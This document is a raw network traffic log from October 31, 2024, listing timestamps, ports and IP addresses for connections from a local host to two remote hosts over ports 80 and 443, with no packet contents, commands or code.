Oct 31, 2024 03:04:07.787369013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.787383080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.787394047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.787427902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.787439108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.834562063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.834578991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.834590912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.834655046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.834687948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.834697962 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.834700108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.834712029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.834726095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.834749937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.865895987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.865911961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.865923882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.865935087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.865973949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.865993977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.867090940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867101908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867113113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867136002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867146015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867151022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.867157936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867172003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.867187023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.867275953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867321968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.867343903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867361069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867371082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.867393017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.867402077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902264118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902282000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902298927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902309895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902328014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902338028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902349949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902359009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902363062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902405977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902559042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902575970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902585983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902635098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902704000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902740955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902753115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902765036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902789116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902796984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902798891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.902821064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.902844906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903014898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903031111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903042078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903055906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903069019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903107882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903119087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903145075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903167963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903340101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903352022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903362036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903389931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903400898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903455973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903466940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903501034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903527021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903532982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903539896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903549910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903561115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903565884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903573036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903578043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903583050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903598070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903623104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903923035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903933048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903944016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.903958082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.903975964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.904011011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904021978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904031992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904045105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904047012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.904056072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904067039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.904067039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904078007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.904098988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.904109955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.951375961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.951411963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.951422930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.951450109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.951473951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:09.496480942 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.496510983 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.496582985 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.497968912 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.497982025 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.566615105 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.566646099 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.566703081 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.566921949 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.566934109 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.715991020 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.716031075 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.716097116 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.716419935 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.716439009 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.778079987 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.778110981 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:09.778172970 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.778604031 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:09.778615952 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.069020033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:10.069082022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:10.384731054 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.384927034 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.384938955 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.385986090 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.386044025 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.386955023 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.387033939 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.387089014 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.422081947 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.422261953 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.422270060 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.423249960 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.423301935 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.423583031 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.423640013 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.423691034 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.427330971 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.429737091 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.429744959 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.471322060 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.476610899 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.476618052 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.476644993 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.523479939 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.580198050 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.580486059 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.580508947 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.584069967 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.584136963 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.584486961 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.584631920 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.584642887 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.584671021 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.632874966 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.632896900 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.634490013 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.636842966 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.636854887 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.637921095 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.638045073 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.645651102 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.645720959 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.645818949 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.664446115 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.679790020 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.682107925 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.682179928 CET	443	49709	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.682321072 CET	49709	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.687335014 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.699079990 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.699086905 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.714365959 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.714376926 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.747594118 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.763163090 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.768471956 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.768580914 CET	443	49705	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.768659115 CET	49705	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.867376089 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.867507935 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.867597103 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.867650986 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.867676020 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.867799997 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.867851973 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.867860079 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.867897987 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.867903948 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.875618935 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.875679016 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.875686884 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.882349968 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.882419109 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.882426023 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.916273117 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.930486917 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.961163998 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.961180925 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.965101004 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.965147018 CET	443	49711	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.965223074 CET	49711	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.986141920 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.986272097 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.986352921 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.986366987 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.986612082 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.986665964 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.986674070 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.994743109 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.994800091 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.994807005 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.999484062 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:10.999613047 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:10.999619961 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.054665089 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.054672956 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.100646973 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.105570078 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.105792046 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.105868101 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.105875015 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.106004000 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.106056929 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.106064081 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.113851070 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.114759922 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.114765882 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.118866920 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.120455980 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.120462894 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.168353081 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.168466091 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.168473005 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.217470884 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.224730015 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.224904060 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.224973917 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.224981070 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.225107908 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.225168943 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.225176096 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.237572908 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.237622976 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.237631083 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.238156080 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.238837004 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.238843918 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.279922962 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.287722111 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.287878036 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.287941933 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.287952900 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.342573881 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.347614050 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.347956896 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.348025084 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.348032951 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.353833914 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.353895903 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.353904963 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.358722925 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.358779907 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.358787060 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.359041929 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.359080076 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.359086037 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.359092951 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.359129906 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.407464981 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.447947979 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.447971106 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.463748932 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.463823080 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.463831902 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.466192007 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.466242075 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.466248989 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.476725101 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.476788998 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.476797104 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.476891994 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.476932049 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.476938009 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.477370024 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.477416992 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.477423906 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.523339033 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.523348093 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.526956081 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.527033091 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.527040005 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.570328951 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.582509041 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.584760904 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.584824085 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.584836006 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.596069098 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.596121073 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.596129894 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.596371889 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.596417904 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.596426010 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.596555948 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.596600056 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.596609116 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.646267891 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.646408081 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.646418095 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.695235014 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.695245028 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.701916933 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.701973915 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.701982975 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.704289913 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.704345942 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.704353094 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.715509892 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.715558052 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.715565920 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.715734959 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.715780020 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.715785980 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.715910912 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.715958118 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.715964079 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.757731915 CET	49710	443	192.168.2.5	142.250.186.132
Oct 31, 2024 03:04:11.757754087 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.765182018 CET	443	49710	142.250.186.132	192.168.2.5
Oct 31, 2024 03:04:11.765260935 CET	49710	443	192.168.2.5	142.250.186.132
